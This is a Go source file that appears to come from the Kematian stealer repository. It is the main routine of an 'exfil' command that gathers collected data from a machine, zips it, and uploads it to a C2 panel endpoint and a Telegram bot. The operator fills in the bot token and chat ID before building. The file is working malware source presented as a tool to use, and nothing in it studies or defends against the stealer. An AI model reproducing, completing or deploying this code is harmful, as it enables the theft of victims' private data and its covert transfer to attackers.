Files
kematianc2/Kematian-Standalone/native/cmd/exfil/main.go
T
2026-08-27 11:23:01 -06:00

82 lines
2.0 KiB
Go

package main
import (
"context"
"fmt"
"os"
"os/signal"
"syscall"
"time"
"recovery/recovery/exfil"
)
const (
defaultTimeout = 120 * time.Second
// EMBEDDED CONFIG - Change these values before building
// Telegram fallback (leave placeholder to disable)
defaultBotToken = "YOUR_BOT_TOKEN_HERE"
defaultChatID = "YOUR_CHAT_ID_HERE"
)
func logf(format string, args ...interface{}) {
f, err := os.OpenFile("kematian.log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
return
}
defer f.Close()
msg := fmt.Sprintf(format, args...)
fmt.Fprintf(f, "%s %s\n", time.Now().Format("2006-01-02 15:04:05"), msg)
}
func main() {
useTelegram := defaultBotToken != "" && defaultBotToken != "YOUR_BOT_TOKEN_HERE" && defaultChatID != "" && defaultChatID != "YOUR_CHAT_ID_HERE"
usePanel := exfil.PanelEndpoint != ""
logf("kematian start: usePanel=%v useTelegram=%v endpoint=%q authSet=%v", usePanel, useTelegram, exfil.PanelEndpoint, exfil.PanelAuth != "")
if !useTelegram && !usePanel {
return
}
ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)
defer cancel()
sigChan := make(chan os.Signal, 1)
signal.Notify(sigChan, os.Interrupt, syscall.SIGTERM)
go func() {
<-sigChan
cancel()
}()
result, zipData, counts, payloads, err := exfil.CollectResultAndZip(ctx)
if err != nil {
logf("collect failed: %v", err)
return
}
if usePanel {
clientID := exfil.GenerateClientID()
if err := exfil.SendToPanel(result, clientID, payloads...); err != nil {
logf("panel send FAILED: %v", err)
} else {
logf("panel send OK clientId=%s payloads=%d", clientID, len(payloads))
}
}
if useTelegram {
filename := "kematian_" + time.Now().Format("20060102_150405") + ".zip"
cfg := exfil.TelegramConfig{
BotToken: defaultBotToken,
ChatID: defaultChatID,
}
if err := exfil.SendToTelegram(cfg, zipData, filename, counts); err != nil {
logf("telegram send FAILED: %v", err)
} else {
logf("telegram send OK")
}
}
}